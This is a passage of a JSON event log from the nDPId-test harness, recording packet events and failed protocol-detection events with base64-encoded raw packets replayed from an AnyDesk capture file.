c2tgdu\/imXOT4TaFgaTjvtzCngFaVtG6yszS5gSfMPfZTNv\/\/JSbHBqSN9lhDLJ1wU31OQhnY\/Czjx9EroV3DmwBjFxfYPkwpgK05aIYYl7wPprohwPKjnr0J1Rl6bwQtXYTrawb2rW0b5jhUVqkXMZqtSS1pYeeHZck268jX5Jjk2bD8hfjUWmyuCONQnoMlQUy6t1YKAk="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1440,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3214} +04941{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1441,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":322206,"pkt_caplen":3432,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3432,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfxdAAIAGAADAqAG7wKgBstOUG56PJ2i\/WcQ0glAYIBSExAAAFwMDDS1Z4hNO+msWHZP+MN11NVuZ0C39Bi1ioU+G0UtAu2sRxVzVIjz8IFvWWoiMu0DDguA1aAAZcawD1g6yOXMaAzpjEjBrS\/eF6QbeLky0np2Qp8FEONdZVtreTiv\/UB74CvFDQgzwjwdlV4xd3U6FGQobTe5jC0AhI1nDMn+GGAQ0BLY9NTlDtq8bOa6BWh2NrA9Y4AtqmXRWkcq0fL7oqk4MTg8lvYZ7pAbNjj5uYwPVvno\/kA5EfMjcqZRCaPYLXw2VmzzMNOJ2lFJMmn\/2SzyyBBLfbRBHwg+SOL8Eq9KuO8t7+50k88e6CtktFFNF91QBlAJxmlGbH25ZtFZ09vClttgZQV1tehyF1wh4DR3i38y9e5Qpm6u4GN5BcDkLIRyp9UDmwbkft3j4KnY06ciPnwdW3+6DwGZed4HB1W\/u0Sy0che0Q23jKjhYU5a3TML\/YMmxT2ticIjhbQx3Fq+2TQSES8RMCJCusGMjrl9xhmMoH\/zdrocKU7tWElP3CuWitvDUeoY5Zu+tTLB0jlFSRNNSYXRlRRTZEI41AXjOK5uyHLdE40Tz5iiQc170TpX+dWuYQ2M7cYd8aAL+4oQ0uG9TTqoX9pLs10Dy6BE+aJR5gSbpy2COwOf52NCoNS70vKV1BKW1zTDkdYNsNCZim6wLUfy2uHZOoTuCOtitbfQzSsu6rX1TG4+7RgL6FgcPeR\/kSLWv76SJ4ctG09QosdFHbrn8bw0N0ADrlCxLlj8F2+IUADepxH+2GsoPC+bBfFqyZdjgUkvfVdoEps7jdEijargX+iGOGJIGSt513IgtsfI0L7lFfpvHp1rNsUFxWo4r8wZtn7VR0a3+SX4aq037szGnj\/dlfOdODlbr5aNCh3chTXBv6GRmxW0bsr5AFYUhC9HKKvnIcGIeJaUZs41VXyittOU3StEntM4yDHCj\/Uebues5fE7cNwCy6\/nAHa235NsAXGcFAnndTAZSHfmQkLKc3jqQ+Xv1d+jgbi3tORd1rmmkcimHUhwlHFDnl+y0xFVXcxEePuNDY3D0eG7shnksoTsazFn1WDnnNDBhwkgKozNh6i91Oj\/am4xPynRLBrqC45A7IPLDnzFiRJfeTmAdyVDrcD4gMRouPVFYNzaI5VGE3X1dsqVz3NxyKlqeG4AkjJ1nVOVcN1F5V2Lit2vEqgGFJ5jV2VKN8ixkd4H4XcdSbU0hActr3tsZEDpGMmSQSXFBev3ygz1Ix3gQOGjgilTkXkA0W+m0IPJ2AAoDp9BYco9QbXtkiaDOfEIuW9hZnliCPU\/8jurO29q2JmtaIC+hwI9WVJlaBmLWDBEXpk5u8qLQo5HFkfe1GkT9zooqPSh0KJTkSbmk5jYOtIMV7F3JLUMtdz4\/KqUCxyucb7iQDFJIsBI+mkur95HlGjbWPVfRNxKigZLgO8cCGYSjIfoLxc0wSC3qQWuSmLq6jkU+fHjyisRqguyjQBxZGYKs5eL0AnrR0XEGKgcsoVQWQ7rUsA7j7wLKFNR67AX9SZBnZQVZwSXTX0qDS+MS+6WWd2eV1DNOr0OKh6EcCybPR6Tdg2ttEj94JEeYwcZDI7mt3Ku3wPtVl+EwJKfG1QdyFZtsCNk84tfVq+EzYSwXhUWhUzbGGT6gG0wkJanR0iF2bWaEgJ+MeOgo59dAZu84z5PPAu7lLxfiuiRj0tMqjroM3+u3y5dId4+L6E3fMpJVUSUUQIEw9IIamdXT3A3c0mVbwr3H41x7JozzA8ZWCWusp\/r+\/Oe7OpGQKHbndWMQZwf2gTYEk8AGFScm4rA\/tWs1Xll+NuihthSY4Rf7nI1dVeHN\/nTP7m9JtLG0H18T4RvTJOI8efTop0X9MZysU6hde2kCV9NdcHhuNoelvF\/XsAx7b6sEpXVAgkexaTbpbpB7mGAA6dnAQ402usmeRDYFjr3XJgYBopa5FX\/eFGSiFTurmdFMHbMNcZBKF6qk+BOEazIvz2IysBNBod1DQbHt4F3qfFJkj4Xy8qilY7UHFqOsdTqg7IhhFJ6NxBIJfTu9lpTZJ3nw5xatjlJfabW4oKNG4vnA8KJGmxZjRkBUxK\/dN8\/V175mH4sVkNWrjq6QtrclR+6QcWqsYS2PXfLh1YqjPZ56d+eQxBI3yFsECPk8r13JgyzAKau84yqmayn6E9OZqobMWjYSRbEJWk2QPtkoAPrZRxdxZOLOxQhhGdSEAMvtxTWuQRnHstRqjj4MaNL41r13NUaeqHnuyT4imbMJjj1fmzNs3yCL0yhdSZVB8oBf9SBUXjvaXX2wzawilYxn7YioiLpvyuU\/yRUlCuy4NChW3MJtSY4ALVxkLBz2DdxNp+gEdx85YKbpF5fNmb1KhBnxchxFwwTVDKnhLFElcp0nAP38stKCcodzO3L6kWtFfIVSMvHmTwLISFiUmkSmt+hhRWyDfhdvIftChp5H+evuBtVGK12htLNIvypoPpkPKUn3X+0PNN7azpXt5jEtRJvx+CZXxWoBCp7vvnpyRM18cBbs3RoIdrrnUlxBrZpujcWyF\/+TzsBsBlK8UjxeSkP9xGuoMOxbx\/Boz4dsIUd5wb9Jvu36HCcYyE653v+Cr6he0V24nv41ib+B7t3Gtmyucuv\/Rnjka9lrltGmyI+4AqpFr8RwvOuCs0Rc2YaWtLKZ0SrDqhBg6WwxRGNzkkRqPAC\/GzJhHYDToX13TVh8RONH2oMvHDnlYSsbInWPI7HRvji6c6rOpp0g1hmOV71STfsoyDRtamAw4zy85aF15lxehVoVfAZ3FHJcVdCTnRI9YievSNWs\/zCXZL8Jhq58PdZyADdRwXNkbq0fyiRlN2AbLd+Iw9C1OLSUTTAsYcJhi91tUBrgKHMDJAowi+D9hW+qnR82G36w5uOr9UTtMqp7aqouqdrfM\/GIe7cWDzzaK13ElUuftBQaWdFMbb\/IXkhrnyXnxVzm+5V4nDEy0Km9UhPkqUmkcH36tQEAzsSVAPZ9mzVUlefKALe9wDA6K4Nemp7JpDxvfW7wptMuafiYtm\/U8TwcPmaYOmT3zdQHaWWreW7mdpzprdfFvqLNdpCeeBrDW7yzKcg5UaFPs4PL\/ojFecYmm\/KiNum\/Wwti6hu9T8O7GnS8Korb\/8XsGzvmkAOMtD\/jxdbOBrKuVtNkUB1bc\/DjyfCKshYIAcinCYOcVIGG6X5yBpvEP3NpIuUAsighG\/qMukv9C8im1zGbSb1n2UfYOhwkQy3l2pKyGRVQjOm6x\/rR7yNZJZWw\/jKiMYa7gM1PFrbourUkDtBjSWRkE1MPHZNzOF4T3+tUQmAPxnzmyAUxusLq6+3S9KJtLkEAX6JOW1M4ruyRle\/WfsencHTnie2qtFb+rhn9i9iU\/Xxuny4eZ+WQdCbxtDHx48Yv9Kr9qAe\/5AHAbscbHIldhOHPkNBfQz4ooaCwWBdBkWX4B7xBbPm0MwHIPVDcblmSrADjugZ2PjY0spRYwVAAJd1kZr+SQlDCb\/yY\/N2IQJF57U1iDDTxnkdeUhyoIeO1rAdsRy21sLsA18zvTRBDWwHjV0+qPGIkdZ0KV1vUZEl7D+\/SuDfRKdft7adZVJ1HU9z\/xnHf7YUwU7YRSD1sxH2O5L+8+WX55T+i\/1AzICxQCzv\/dRRlYEOefM13CUm7mlgvHn1RafbG9yMWkd1YNACP6Ka9jRw7dTLLQlIUwF8KxsfcaH19dEQ6MMvanO0Q2ofhvq+q1aNBOuQc3L5Ud0C8K7s9Vc\/TtRfoS0WxByRMkAqswxBia6kfwM8LS5\/Klo06H5CxjZs5ATAAnwYR51VTTbMKVTPzDjcMnUbkoz3bN3xEwdtDp7M4bfBGuEG2xtfMJw9rjiXrs1dbyDRf0hfWRqHwcLgHD29m1clVLzuZ0ydRqZxhe4bqOvLfPWQvk51WFgg02jkyTZ\/gEhZUoC9xnGUG8MAhfY1Ppc1LBEfLK6p1kIQ4llJvhgLkhhTNYKpKRSSE4+TRIJrIv61VmhmoaBErQlrgWOypnOUWaZCqYmYPJ2J\/Pflcuz4xbBwqHpxSs7pPL5uIgiKPebFJR4f7hpW8Toxu6nncEYohVgFcj7d6nPHuyCgZrc8+U9DyVKMhSeMGQLzv2cGFU8RBmAgsI9Vh4A\/LLjnWbwW6rhfr1sp\/uPnhCiWBgPEFtbOG9GAB9W0S6fsmMNOkNezxjB29m0ADnu0ClMGMJW5dxaWoSIJK1kI2QkuPdlo7D3DuXMh3Xm1RXwh4X6KbrVt2AHZKOgqq9YI1gHvE\/6DzTAnodfjFDJ\/13AdqOJf791vgupI7v4HaeBnzUxlcWEdYaEoI\/dmNFjAcQGVP5OLPsky3dawbLEzwSrlBRB2cDv0G1aBuX5iry2zQ9nEc4O70jPqf0akI\/CCP4tVuQOYJwm4YshbLZnTO7htFjHtXbqhm7QPvulOqWMvflDWblrO9X9JlzfGwxKYSqJYqRqxYMKj9QGKHRzw6qcW+30JrpOJ73L4aU9IR"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1441,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3398} +03059{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1453,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":353685,"pkt_caplen":2034,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2034,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfx5AAIAGAADAqAG7wKgBstOUG56PJ35OWcQ1D1AYIBOExAAAFwMDB7dZ4hNO+msWICU5+KPT\/wwmuvWU6c+Osiv7d8qmia67jKlUku8io3UzdvB7QyoapQ4O8kT+XqH4IpCLVQYO2uOfytYO2UGlZ+3lhVqdn52baht\/aZTFARz1FXcUCTEQ6u81pipoONIuGJMiMlIh7EurBaI2R+Cegp\/buqYFv\/sCVM6KMoDqtnUQKR0SxFK4k8OuILyi+GtQI2w5bpabnR0tlGwekUvM37uxf8DG3pIcO1HztkP895HXYh5mlK6MBp7eIQ52qR8+DBBkLG04uHS5Akiwfhhq+UUfTzF3+HxqWieWBqtDWrsGGncbQ2fOepilDTt6Y+UZ+PfcBrGN76viL7gZCQ4HdOpJr3XS5r+7d9xe1vixpKi\/+azFuG2W5aPJf2mfo+rmtgXw4BzTiSFkeBYtte0Mq90Sc34W2256tyduzilYSzzD+wvLWhy9xkS0N3FT\/ngxWaFJJZ6B5G6pOuEdQTDyOec7joEHo\/v+KMsHk5DeJrbGlHRG55FzzWb3WTLlqDA6bqBPb7KpW4JDRb2rLumSOxPXVRWMC7Diky+p96PgS0WNgMHxe6OJNQHnKfQWrR2OxHb1VXb6izulJWHVhU2kV\/TZqhhOZ4WUaZi4Lk84KMfkxqz\/8gdBLTlISia16AjUKfYqnh92F7d7sC7wpLfATmBUXF\/TuvEGirLJ7BBsBuWGkmlRRz5ySHRSdM1i0rEGWQodN3mKzBRhDD+u2dXFGhD7uLE\/Cb17cnqeGAxiOH6e305Wcd7srEfxyEYOvzaT89EBWauKjswpC9fQAflNdaDBpo74v4SkoQZQ0TxLZUSvt4+T29brJJ95WkygmtkIxOjEW9MAjqVaEYv9EZjmPWLxKyipfIs4VWuWvvRrFWVVoQDKms5voDXIjxERK\/5DhAh59PQyakSXpU3TBExaGEm3zZ+NOvfZHfOVZUU1UnSpikGzI98sDKg0fcZVFwiJh8vJDVj7dreHyU5frmVsAEKxQq2iaqHfmNkCIl54As7P54I6dtJO\/9+\/CxlAu1nTAuGDAoCwcpyNRCXAHeCqO8A8fkX7a16csQicD+yL8lVegfyK8enqawfHnxK2yVwORuNwLdEAizHghV1So\/BhJunvK87G1jB9h7bpHTUAEBxvP4WAYsO14wg1ef0H9VhRFm9SNRZD3XJ\/\/LjLYUzuAlkS99nLEBfvPUwykCMMnE8JpP+YDSFMfCyBzN\/E8tWVZ78E1yFO0fuXAa3dTMXU\/NbE3JfNZZeRjZr6pBR5BDvHifuU+y4L1qUSB6z+PbGEuNDzsYfNdaeQmR\/TDwXKcD+hxw2dI1KRUZYtu2su33S7aUEO4OUgf8mZPUJtRQ\/0pFhKEEErOrEyUElZhVzja0vTSLLgX6xvTVFEkFw\/mbhlGby6+6NE0cqzxvPnYg4AEB\/0SAco5jXIhfH75YdqmbG07hIl+xkB5v5JsLIhzU5jnzXOtZExp0iKSI\/i4LZzHnYTejZl5umIl42bGC0ddJ3RZ3sDQ1WA9KTNx1LYK7PQWy9c+0Tk8NmlK\/cIZkHZnLgPF3rP5ye46Qj49qNlTb4hPsZs7j9\/oXsbF45L4bz9HVxsfTt5QpX2RHgtNUJVbFwwNW2fHomClxOyv8R8JDoV5Ctl\/ncMRDM0WkiicPqrhL8\/mEn\/mEf1ofW\/eoNbsR26Zr0qvyZw3MqsPUoEENib1BwQldWc2bJwrxd9wliHPWiW4VkXUqCjCzQmYB45z9PN8Fz7g\/QXA+BqpfEUN4AlA1sreBUC980tn35Zy82Fj8PT+dPMQ6tmZlCWOu8UkOxsF0s2rXcqUnwFdEZwLfzAEWZoF452Zrqft4+OeVNRh1b9i1MfUxucjITSE5NbB5KOr4Yytw8KeGXW3LHPy0be8prhUsE\/2j25lYtXPn54u2C5KRVpIROJwAh8pMDDuLqkOv8zUDvuzcy1v17vVoqzAw3w\/o2mlSqVA1LQPn3vJKXcUtjgo0n6yLN+cm36j7+9EWhqtaJNrzFKSYfJSZ3Ta16JPZHGEFOHcIe9wRrfQugsBfhIZaWDGiON8ywEKsb6qn0XYg\/MWxE1a35ykZJNaJzcd1b0MLKesZq0gT8VQn\/Dm5l8jom9EwkPOWLM+xwVVidS2YUi+n5pVsgpFmt2h0tPF6fa+D6h0rtemC4T4xnGjEmT4wUvjzYRhrtnhApPIshOC2DFjTWn81BclGyF0iC6CPcozEzRZMlgm4iEG1d\/+\/G8smeQya3suytlRRZH2OqZ5GYJzWp9fpS9XgWPglqDTtv0hyzcKvOWBU64MJd6LOvQYO1XDbUBiKkNfWPnYJNi5iEZK9qTh1xnmyJ8iXAtH1zl+\/\/PZMuG14D315\/abEdXe3kxMOzMaauZ7zbuagQhgrXywk6gz2WCSm+ctEiMbhO2HyPwU5aNAMrLDcO2JCTTPkkAxi1AFlRy0gfXmk\/RwmW4NStJMGdQgUW1KprGG0uJTke7BbXzIXUspvnlYP4ub0q4zZTMYIwikGu2tn+j2aIyEc7bJDspEdUcNVu4wLTYfYhKIpPUmzqSbmHX60F\/AV9iLIh1PgbhDmOwQDqBLOZBIOmOAz+17fFWZ+E9opBijMFgM480X0dOXybDqpVnPxDYWCzDOSXi"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1453,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2000} +07826{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1457,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":359678,"pkt_caplen":5557,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5557,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfyFAAIAGAADAqAG7wKgBstOUG56PJ4YKWcQ1D1AYIBOExAAAFwMDFXpZ4hNO+msWIQvWDID3RqZwnum0G16sJDNSZX2IxcNeTOA8nOq2P2gpw5auFM5baOuwfUJc7eSB\/p6idwT\/CuTKTCeYa0PxOs6ZO1XegmqqvnzyVzMkKGqiVYyreaP0EmBG61yeVsD1Qn582PqPeFSfIJ2OCS\/1QLjjwBb0Ci8xk0PnfX94ZAyiksRQG\/PNliMpZAc+8zVXCh46EdjkuVSqNE2u2ceVNDuPbhFINC0+nBL81ICo1lv9HEl20x+xLk4tqhbNsEQYxiVqSrUtS\/ZlnzMYMXjRKCm5bfVAZ3ug0qVcDFuh9tmXstLOYkhwWrMFK7qIZ6RRvX6YFWaHlCGzc\/MvH0\/rUSGIVS98DVy+Jjzww8MPWmp1wIFeBdnRLiTGJbyvmB9R9s9XUQV9O6IgkkOojol98nHE6Q8mXg48DyFXWMMdu7VojqkCPloW7Z6DZa0wEYwRrwWRKVrxSYKdnfThdN\/igBXWHLRCFYcDy+UU5cMQsMOfHUhVP7\/tYQo3hSGobal8G+YCBEiKDbGNNUyq2J8cwZz8mut7aEMiMi2oqvCimTRFFo\/wZr0AOW\/lpgvBiBlU4UarnHKHaC2hG9nahTLP9VkB\/RbPptN1h6plgNkziPuwmej7WdTmsQdZ4yw90he6Rtd1WE5LSHWUXBpxsISwb5vtpGamB24g\/AHpVEc9ZFEfcn2NSMV3eS53s0aHROk6g9vX24ofpP0KCLs4LQGCiF90cs3e28wSxf6KCeBDpxs2oR6zRmWxNk828Ldaks3wUTMr1\/h\/NnUEht+nuo7YpPEhw4Hueh1QX5VuahiM0VYh+xA12j1oLfBfH27GXF4DZjRPh1YvVQu9XmUEsfBxvDQhqMDvyFisZkkhy1nIqCl8b32wh2YNQbJQ8gKUkHWZxrlL452GeZ4IEMFWDOv3nzAybEDhEGFc9NBBWbTtrv3sLLfAEZtmIMacsDjfrkanO3tX2x7V60duQWKSjuym8DO6d6NS4Kemogi\/imCUclk\/fDPs8SEXmJgwEVSRhc35XBN8IkB\/kaWpliz6Mn4bdd4\/hPdpAQ70HN8oY+\/GJVWFEiL3\/PVDOTSkp+8\/WEflW0dvrAi8cNuQGzYHoFW42uyn\/iJxpKLm2cSL0RQb\/zJ0+PinShOEPfJagKfP45cddWtF1nQT\/iooms0yJ4\/fa+i6P\/DvmeFRanYOkbjlBxEVB1Ea9vgzhSYl+Dh9ehQhTayzwHCYCgwWF2o3+1JWpMuD0PEVMYseVWYuN0Z8J2pdda\/gktIyo\/rrYvrIvrebkk+MhBxSAxsBypHeRNWpabz\/jElRjLb2fDiNtVU4pVxBM5urmf1LCEqtn2Qve6y7p13VvHLPlfH9YM\/pYrsyHcb96qfyM9FUX7b+4mUfV5HRGIW1XepFJVTpTIczMUPPBic+360U2H\/zqoH3We3CmGvvejeGv3Xs7YiovfFwMSwtRoqBN7HJNTffVQkddSQUpVhOwtRtf6DTPoQZTu5mJ6auCdUHEp2wzk6nHRWL08hivz6uwz\/xvTvwzJXZFe7AHK1+slrOESnqngMPUsPI9kaXi98Jcg8v3W53saN\/sxhx600xGNYx6buQOVi0P7ZhlP\/N5WGSCLBek3No8tvJVQAecdbV41k+gIA4p2jYo+IJKyf+wD9m8dGZRrA+WsFLPHbWHqY7X68Lph8rvShqt0pwNdR2CRAXDH6T4EqiQ\/virGywFxy20+p87JiLHV222Vp7jmhBjp3BNRCk94WHKc7MaFWuZT5vB\/C+gVCB7Mt2dfj77cAhgvIHmdQu9njotPWOwL2AQpgRIB8Ed8tjBaJ8xiuspWqhqc5L0W1VKgLxTI8xuCVGK\/iDCwbGY6v1iA6xWGBor0fkXQcajFW44XWSq7juR2Jqs\/HLlSPQA6WfWBSidjT9QjLECr9Z01wYxwt4IQ3y3bj9bzi9Ux0z1zcOQ0OJK5BvXcj5OkYbHufQ1IWTM4qmWS1l8SL+cqJlQ\/IXppCE+tFyXCAH7\/rGm\/ge7VY24GlDIOw4AazM2wE5LzU6W+cRNjOMuzME5zDXRB6EeGSLNUYfLpyaEYNhYMJAlCJ08gUNbVkczSaGyp4Avb1rKEZvso4pnfrgVir5b\/n90Wa3AS3S1wMXgOYw0i7yLDppLDHokCjHlqVmZXI\/Tv031YrKzVgDaMZybLHmTyz9y4px6llSGjA1z8SiyDzL21APIPwO+CEJnqQ2SK7zkCchtomreg2uGnZyoDgwkB2c\/EJXYNGHjGHqQwE6aPhCJOAwb5MLTCDJll6fR\/\/mezUh3anP06mngcFiMSzljWLMm4Q7vx1ZlJ+TZzGKVJTfVEWXNM\/n1oZS2mgxlc1\/a71wCqSQDqZqUo3ZYLdYBq73G2jVNWCPnp1OPAkrhZ6ztc\/GxeMi9XG6z0MixpM3uTvIw0bPv35eN1u+SkEOxq95sIFGo6SrV4akPrIder13d5lqv+6eh901XNzaWr\/cXc7nDbhdI1WuOAe+6eZ0U6ktunmMG3td1X+blj79gdgSTl38AkBdr2o8n7y1ev5wXzqu5RKMYCVH5pteo4P1mSyaOBqhM3Pinm9B9A+vTVrlAMONempLOB3EzwtEfZyqAQzPWRW9KyZzh\/Funral5sUTgrTZfm6+kQpxO5u4bBGti6xp1\/kxCknTOO9M\/wfbs2XQJBm6B0pjC9HnwNBhdSiQetq06pi70I6ZcR18p8Nt4alg6oVDzenVGxyzx\/UMx9CLXDJBBK3nACKe47CKsB82jtaks\/JAxpoYDOxP3ck7Q2LhFPu+CJmN2LbJuJyVEZltsCsAsCLkKrV8Wvg93Tn+FEoVvtPb+fbkYNjj65JRk8gTnj9DrXJjO3lMQsKZPiAWsbIWAqQxLKoG6mtB6OvZYNOWfKlz1TM0oJXPSlAbWwRwZGa4u4qXQ\/F4TStxV\/HvNHdwz1PLOyWYU\/zrLqYMpQQVql+oGQ3j\/gK7fjZfSeelMEns3VTiqdKI2++Cmh9KytrKBWf0t8VVZ5HAZ5IxBmRUppnLmuLYi28O4RQLY\/BF3ffPhBKTbBewwiqAE0hSNMV0lPNz9dS1Q5R09m0sA6GClA1bE2bdE0ou0DgN8qiOmZyt1\/Gh+UuO45aHoYouBmXPlPtMXmUMOfAkhwK4ZKylBlFH3C4vekwjrNQBDtjaYb+i1jH1ItJ1NSSr+EvVe3XmrWLT4NPFfnnj0VpsyDBxOzYbYOzH9JD\/OpICtzwGXwlT8waBCHRUzkySLCGITRQSZN4KOJ9ccNnAbMcF2AcTaYTYqgjYjg5DTgKIybBt+2F1H9YRw0\/BL1EPkx3YTymC3AY\/CiJ1lcoS2ZK6taqTBdhDii72StQnCa0fhGpdjHKdNXYPKJFqJ9MGI2ok5D0sO94tuLwnI76ArSdIm9LmMsWD1HOwMsnwGChHIDJWZSfxdhgVv30f1aHpKM68Dsk\/Uw5BPvwvxtJ\/bnvHnILesPA2fwBgZVEQTuK56OLtzOqYqEuSLcB0JoPgtoYvMPshYdQnE8g2Q5GpVBc1yqFnQjwID2NgERH8o3jDZkLv3N5U+e\/s174AKmW+Zsd88l84Lx3fC3hAlVJsAsgIGxb0APAVWpEfn4tIda13E5CmK+K8FwQiUciRkQoHwfQ\/Gotb8w6iAR8P6yszGHvwSltXSRYYyqqelBnOWhgt7tIdJebdO0G3tSvzQxvSW\/enqI543h49w9U5uNZih8p3+dG1D8S9oUdUQc6eL0phvs9lX7dHKlsiHJ1XJhep5Rp5t+5WAlYKT5zZ+MLRTyKFVP6t1WRchTXQaPVgY8fflN9c\/3Nbs1ALykMU8r4xlN5xWa45nwA5rhtLMqYeomcEpGfyc0ds6xI9Np4AqW9x4hqHamaJe2u+\/DstQm4J5jds0+HQbEluUn3q7UNhomIEUYgWMVXUQ0FYxoLeHWo6g0kyVsM8yr+75sp+f2Yy1LhLDGpcxHmAqHLP2OZomv4VofPrvS8auH2maouOYyIUkZHZ7PmMsKXWfKG1TYyyjaM9ma7wyO9Wu\/lbm4NMpIHQkfwWdOD9vFV2bNv6cHSNZAgNdPs+I5A\/68oZ2vrDoqKJ\/L4UpCI0+3s3sEe\/2jVRqb69nxFuVPdPnRDVGkaSxbDq9eshICF\/KYaFz646TcV1NjS68Q70TL1ueDV79FkcaJdQSgu9FuCjEBYI7DpO20igM2xAm2sJou3R2kHVun8aA454Yx4WiAHzJi2K6v2vxBTF63QXqPbmpwtAlJByLhbK3mOqUY2GVVznPS0ulH0502DiX49Y4jQwGW96sFx7Dgl+zVD4KzPvFaFsfD+Y3WXsXn37\/AJsUD\/cdkSbK62Qmdvsp6bWO3Ni+f3+KYMLsJE+YOcX0IaROL2\/iaM4liCdIY6PNdiXMGGyChFYrXPhhd5xmU8zhoGfSBGjqXKWy10HsaOJl3ISiC01zwtBLNFmOKGmxF5k0hWp2dg\/Vjta2Tupozg4CLnF8ZVXO5UFMwKsa91\/4lGBKnOdypl4TNA6YJ4kqrGFsy3mHth+XBnYDJCAij8q+LGJHGBun01eNH75bb5JKzLNC\/Ne8MOlv97TzFrJHaYEh18vtU9hNy08o8KVXynjtcUmXR0iUEcr+ofjaCBYOr9v+OmiYJ7S9HLW7oW2GlqBDOOkG8u4o24p2OYrJzTBPjO+VIbhbljmsa43FcpRtFeKHB9EaLKJ0MbB5GkEl0uPOw2O+ypS3BB\/pDDTKKfaazhgrjsqOt9+Ixx9AN8QlnJR0fIySrWrazLgowWtCL9JgA8KV9tWiRm4ej49sfekmgzlgQy9s0peLvDbSzmI+jN+r2SumzBxID2QcHvMMRs3b\/CQhdVLlaqfVUDPU6O4zW2BO\/fTPB+LbR29jtT997iIbdJQVN9sHyXPqcH5QI5Odbj7OR2e72eTgXt14tMHD\/0BpxFCXZ3IHXNPFmZ9KvzM4PmzMQpgU\/lJzgrXyDEg7hMfMLFo\/AQykbwn2TyZn9Pu3SReYSqw8yV91W1\/HR5VEJif8z6yP0Rr+qVcP4uZqj7ZUEJhpOdt7BjWYRs7OoQDvIBrSq0k0uPnupbTkquvS1r7ekV1+F08RvBW8Rs4aSASoWogBG7GhPLxCeLj48MVAv4AL2DffFJ2GcZx+7dA3Bi0Yzdaf3Ycv5y68BLg1JXVpxhBCj44rcaDeX9HoOYH+JTNXDBsnTQHOzG\/9LLtU5gWRvxCFd54EgktRtktnRrjYQKRre9sJ7ZZlR32MjvRrNkrMCXpLpzzMATHeaJQZ0ehgYbcibICUapI5eMuPr2bgmR0pcbrG3Ltx4OqDuQuGFRNmwGX3yaIFlCaVTDgoFdMfwsFocQbMkJSgLx3ox4\/BrLi4GqFQ3APzM3KM2hF5iUYhW7FfKwfoS5zLgXQKPrRAh8XFKQfmmtcEIt11CngCZoLoAhmDSOfDWwUyM7yxQnBcu2rIkjbJWo5CRnsFUi4yYHFcbDqRFTKRaHyEkqtjF59KNFzahXCfcCRai1v1un4oF8xvBNDh8+fHoABEAz2IwWwaTT8t6bTVmooA3FQ3fkfeb+50eJHqXOe\/X5zttLGxY7BXG9c51RlSU16i016NDY3awfxSAyOEvK3JRaH8anv8xKGDgrBDK5RoUHEI1hrUTnm5A+heBqZ71j7Ehs4ojKsjqoc65WDHehsXSS7VKafNwAV6X0oedfIFcTS+XTgef4vAuY75m2jDMbhFDGoY+mordqDu8vcXYKKJ\/50zVDe9P6Wo0zaUrtT9FgCnGFGI2Nf9dcZU1ZNTCaelemoAH6igk4U9J0Tb7Hf20UueNdMREVqjasrlKCSZ0W\/ECWXR9GGgaWFrJJ3TlwbWB+zxURkkpyAmbTv\/TqsuXWbOAfRy2U8\/kF1cLKN81r93PxDO2ydgYbte5SpXw+vuy4RIg3wr4l694q+OWYQskq2TQULl3\/+ciZqxh+65zYmtG1g+AnzLQjg5+3uTmXGsvn2X9COy7wyrU7HW+HFi3IuzonxTPMLOGcDyAywYJpWvUHJx3AptHZHR0Hlj8MphhE3xuk2SclrrSMVhpZwvoDYXtDgEPW0BQrudYkbeVQ+QuIxllPctjp2l2d6+TEBqEdNfbLbRJiBA95LUlLRJPTcsJGAlt65rlMavhPdMpHUoj7edYfjkMP0eM8q37xEeXsoqtkISg3P2\/a05GOCemNxghpRh34kte4UHxlmJIRQ2YcAEHROjAsp7VCodUPAsn7dsAAliF3idLX8hqTZMXueuFr7FYXnBxMcDyKO7bAyGx1fTXIsgltgvZ45k3ASkshgHMa+rDocFIJyhWdFEnI5CMYE\/aaOC1PQVMXpGHi706AbSZDQ6og8iWhS+e595a+Wtw52WiKYE19rVoBIMFDuIA1KsqxWO8LoHxNt6RDgoOfpEm2Yd65dwI3lB0qFlq39mSI7CKZMz\/WR+KPxQvHL0NuHyuskZXbcEYdzernLGTDYugMl2paqLRt409HYPZvfWegijbbee4fwBrIEch1d4Jn5BDnm3g7q5BqMzRtLprQ7h735PQG3bL+ILTISBWv5ER4GEpFshkY3hWTto2ecRFzIHdnmY5RBfr+xeVYKEQQOagAh9EIAYjrgRTfk9sYrq2aTf0TBHwVNoZ8Q3gAIvAvcSIDN4mKWZK0E+3FDvWwvmoy3uPh4NwY369B0j1fPEvOXy5vM9OK4nkk99\/KXXCaQJuvfCdAZ8drqliNqT\/WecIqBrCaPAdANfRrLODRHH513uGZFJgneADloWxF4UQb8VOdg7stIEn2IVs1uu2Maby8GNg47T2mdEbBxKepNXambBm6+cGPHpfTuKT0NjDq9LufYWd35t++LtONwsYdFi+jjpcSxbZNRPCEanv54y\/V62Vg6WuAVQvgFSDWLURpW4RIJ3ANR7ew8GLB94TSMobe9N4GbC4Ok5D7lJ44R24QowroPvolJK4lSQlhvwuERGMXzkHo48HopkZYpRHMGDusK9j9M0SgjMNqVu75klCMQgFaxa4iCrCHMzfAKY4WJmaXLlpoEq1dtusvuu2RhCPfswhDXoKOD2EL+2kTwAEMC74zuzjSv1lYJTILD2RgL6HQIldEnASkq\/